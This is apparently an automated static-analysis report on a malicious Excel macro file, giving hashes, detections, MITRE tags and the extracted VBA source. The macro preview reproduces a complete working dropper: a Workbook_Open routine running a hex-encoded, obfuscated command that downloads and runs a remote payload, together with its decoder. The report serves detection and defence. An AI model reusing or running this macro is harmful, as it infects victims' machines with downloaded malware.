Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 79e42e4da20588be…

MALICIOUS

Office (OLE)

171.0 KB Created: 2020-07-07 10:47:08 Authoring application: Microsoft Excel First seen: 2020-09-07
MD5: 56efde4b17b8076c0f1f8c2491b3b00d SHA-1: 4212e1fe7bc45ad8f91986445b380d0cfb68ef42 SHA-256: 79e42e4da20588bed383670a9af00056e8cc99fcc2353d7a2f5a24ddc2eed66a
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a Workbook_Open VBA macro that utilizes WScript.Shell to execute an obfuscated string. The `ChrEncode` function decodes this string, which is then passed to `objShell.Run`. This behavior strongly suggests the macro is designed to download and execute a second-stage payload, a common technique for malware droppers. The ClamAV detection further confirms its malicious nature.

Heuristics 8

  • ClamAV: Xls.Downloader.Obfuse-9382072-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Obfuse-9382072-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Public Sub Workbook_Open()
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run ChrEncode("a", "7882793544783585848C7A87887D7A8181437A8D7A35427A8D7A788A897E84838584817E788E35778E8576888835426C355D7E79797A83354278848282768379353D837A8C4284777F7A788935688E88897A8243637A89436C7A7758817E7A83893E4359848C83818476795B7E817A3D3C7D8989854F44447887847C89878943788482445E5C444B4A4E4646464648454C437F857C3C41397A838B4F697A8285403C71787D8784837A437A8D7A3C3E503D637A8C4264777F7A7889354278848235687D7A818143568585817E7876897E84833E43687D7A81815A8D7A788A897A3D397A838B4F697A8285403 …
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Public Sub Workbook_Open()
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run ChrEncode("a", "7882793544783585848C7A87887D7A8181437A8D7A35427A8D7A788A897E84838584817E788E35778E8576888835426C355D7E79797A83354278848282768379353D837A8C4284777F7A788935688E88897A8243637A89436C7A7758817E7A83893E4359848C83818476795B7E817A3D3C7D8989854F44447887847C89878943788482445E5C444B4A4E4646464648454C437F857C3C41397A838B4F697A8285403C71787D8784837A437A8D7A3C3E503D637A8C4264777F7A7889354278848235687D7A818143568585817E7876897E84833E43687D7A81815A8D7A788A897A3D397A838B4F697A8285403 …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Public Sub Workbook_Open()
    Set objShell = CreateObject("Wscript.Shell")
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1543 bytes
SHA-256: bdfa980af8f9b1eab778a9286c4c19b9a0e3383d7f8e67194f1abcce42a9d8cc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run ChrEncode("a", "7882793544783585848C7A87887D7A8181437A8D7A35427A8D7A788A897E84838584817E788E35778E8576888835426C355D7E79797A83354278848282768379353D837A8C4284777F7A788935688E88897A8243637A89436C7A7758817E7A83893E4359848C83818476795B7E817A3D3C7D8989854F44447887847C89878943788482445E5C444B4A4E4646464648454C437F857C3C41397A838B4F697A8285403C71787D8784837A437A8D7A3C3E503D637A8C4264777F7A7889354278848235687D7A818143568585817E7876897E84833E43687D7A81815A8D7A788A897A3D397A838B4F697A8285403C71787D8784837A437A8D7A3C3E")
End Sub
  Function ChrEncode(CodeKey As String, str As String)
        Dim n As Integer
        Dim i As Integer
        Dim sStr
        n = 221
        sStr = ""
        For i = 1 To Len(str) Step 2
            sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)) - 21)
        Next
        ChrEncode = sStr
    End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True